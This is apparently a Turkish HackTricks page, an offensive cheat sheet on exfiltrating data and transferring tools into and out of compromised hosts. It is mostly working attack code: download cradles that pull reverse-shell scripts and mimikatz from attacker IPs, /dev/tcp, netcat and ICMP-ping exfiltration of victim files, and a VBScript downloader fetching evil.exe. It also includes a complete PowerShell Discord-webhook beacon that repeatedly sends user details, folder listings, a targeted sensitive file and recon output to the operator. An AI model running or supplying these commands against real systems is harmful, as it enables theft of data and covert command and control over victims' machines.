Veri Dışa Aktarımı

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Tip

Ele geçirilen dosyaları C:\Users\Public konumunda sahneleyip Rclone ile meşru yedeklemeleri taklit edecek şekilde dışarı aktarmaya dair uçtan uca bir örnek için aşağıdaki iş akışını inceleyin.

Advanced Html Staged Dll Sideloading

Bilgi dışarı aktarmak için sıkça beyaz listeye alınan alan adları

Kötüye kullanılabilecek sıkça beyaz listeye alınan alan adlarını bulmak için https://lots-project.com/ adresini kontrol edin

Copy&Paste Base64

Linux

base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Dosya yükleme

# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

HTTPS Sunucusu

# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

Webhooks (Discord/Slack/Teams) for C2 & Data Exfiltration

Webhooks, JSON ve isteğe bağlı dosya parçalarını kabul eden yalnızca yazma amaçlı HTTPS uç noktalarıdır. Genellikle güvenilen SaaS alan adlarına izin verilir ve OAuth/API anahtarına gerek duymazlar; bu da onları düşük engelli beaconing ve exfiltration için kullanışlı kılar.

Key ideas:

  • Endpoint: Discord uses https://discord.com/api/webhooks//
  • POST multipart/form-data; payload_json adlı bir part içinde {“content”:“…”} bulunur ve isteğe bağlı olarak file adlı dosya parçası(lar) eklenir.
  • Operator loop pattern: periodic beacon -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK confirm delivery.

PowerShell PoC (Discord):

# 1) Configure webhook and optional target file
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
$target  = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"

# 2) Reuse a single HttpClient
$client = [System.Net.Http.HttpClient]::new()

function Send-DiscordText {
param([string]$Text)
$payload = @{ content = $Text } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] text -> $($resp.StatusCode)"
}

function Send-DiscordFile {
param([string]$Path, [string]$Name)
if (-not (Test-Path $Path)) { return }
$bytes = [System.IO.File]::ReadAllBytes($Path)
$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$mp.Add($fileContent, "file", $Name)
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
}

# 3) Beacon/recon/exfil loop
$ctr = 0
while ($true) {
$ctr++
# Beacon
$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
Send-DiscordText -Text $beacon

# Every 2nd: quick folder listing
if ($ctr % 2 -eq 0) {
$dirs = @("Documents","Desktop","Downloads","Pictures")
$acc = foreach ($d in $dirs) {
$p = Join-Path $env:USERPROFILE $d
$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
}
Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
}

# Every 3rd: targeted exfil
if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }

# Every 4th: basic recon
if ($ctr % 4 -eq 0) {
$who = whoami
$ip  = ipconfig | Out-String
$tmp = Join-Path $env:TEMP "recon.txt"
"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
Send-DiscordFile -Path $tmp -Name "recon.txt"
}

Start-Sleep -Seconds 20
}

Notlar:

  • Benzer desenler, incoming webhooks kullanan diğer işbirliği platformları (Slack/Teams) için de geçerlidir; URL ve JSON schema’yı buna göre ayarlayın.
  • Discord Desktop önbellek artefaktlarının DFIR’ı ve webhook/API kurtarımı için, bakınız:

Discord Cache Forensics

FTP

FTP sunucusu (python)

pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

FTP sunucusu (NodeJS)

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

FTP server (pure-ftp)

apt-get update && apt-get install pure-ftp

#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Windows istemci

#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

SMB

Kali sunucu olarak

kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

Veya samba kullanarak bir smb paylaşımı oluşturun:

apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart

Windows

CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP

Saldırganın SSHd’yi çalıştırıyor olması gerekir.

scp <username>@<Attacker_IP>:<directory>/<filename>

SSHFS

Eğer victim’de SSH varsa, attacker victim’den attacker’a bir dizin mount edebilir.

sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp

victim’den dosya indir

nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

Hedefe dosya yükle

nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

teşekkürler @BinaryShadow_

ICMP

# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)

from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP

Eğer bir SMTP sunucusuna veri gönderebiliyorsanız, veriyi almak için python ile bir SMTP oluşturabilirsiniz:

sudo python -m smtpd -n -c DebuggingServer :25

TFTP

Varsayılan olarak XP ve 2003’te (diğerlerinde yükleme sırasında açıkça eklenmelidir)

Kali’de, start TFTP server:

#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp

python’da TFTP sunucusu:

pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>

victim üzerinde, Kali sunucusuna bağlan:

tftp -i <KALI-IP> get nc.exe

PHP

PHP oneliner ile bir dosya indir:

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

Attacker> python -m SimpleHTTPServer 80

Kurban

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe

debug.exe programı sadece ikili dosyaların incelenmesine izin vermekle kalmaz, aynı zamanda onları hex’ten yeniden oluşturma yeteneğine sahiptir. Bu, bir ikili dosyanın hex’ini sağlayarak debug.exe’nin ikili dosyayı oluşturabileceği anlamına gelir. Ancak, debug.exe’nin en fazla 64 kb boyutundaki dosyaları assemble etme sınırlamasına sahip olduğunu not etmek önemlidir.

# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt

Sonra metni windows-shell’e yapıştırın; nc.exe adlı bir dosya oluşturulacaktır.

DNS

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin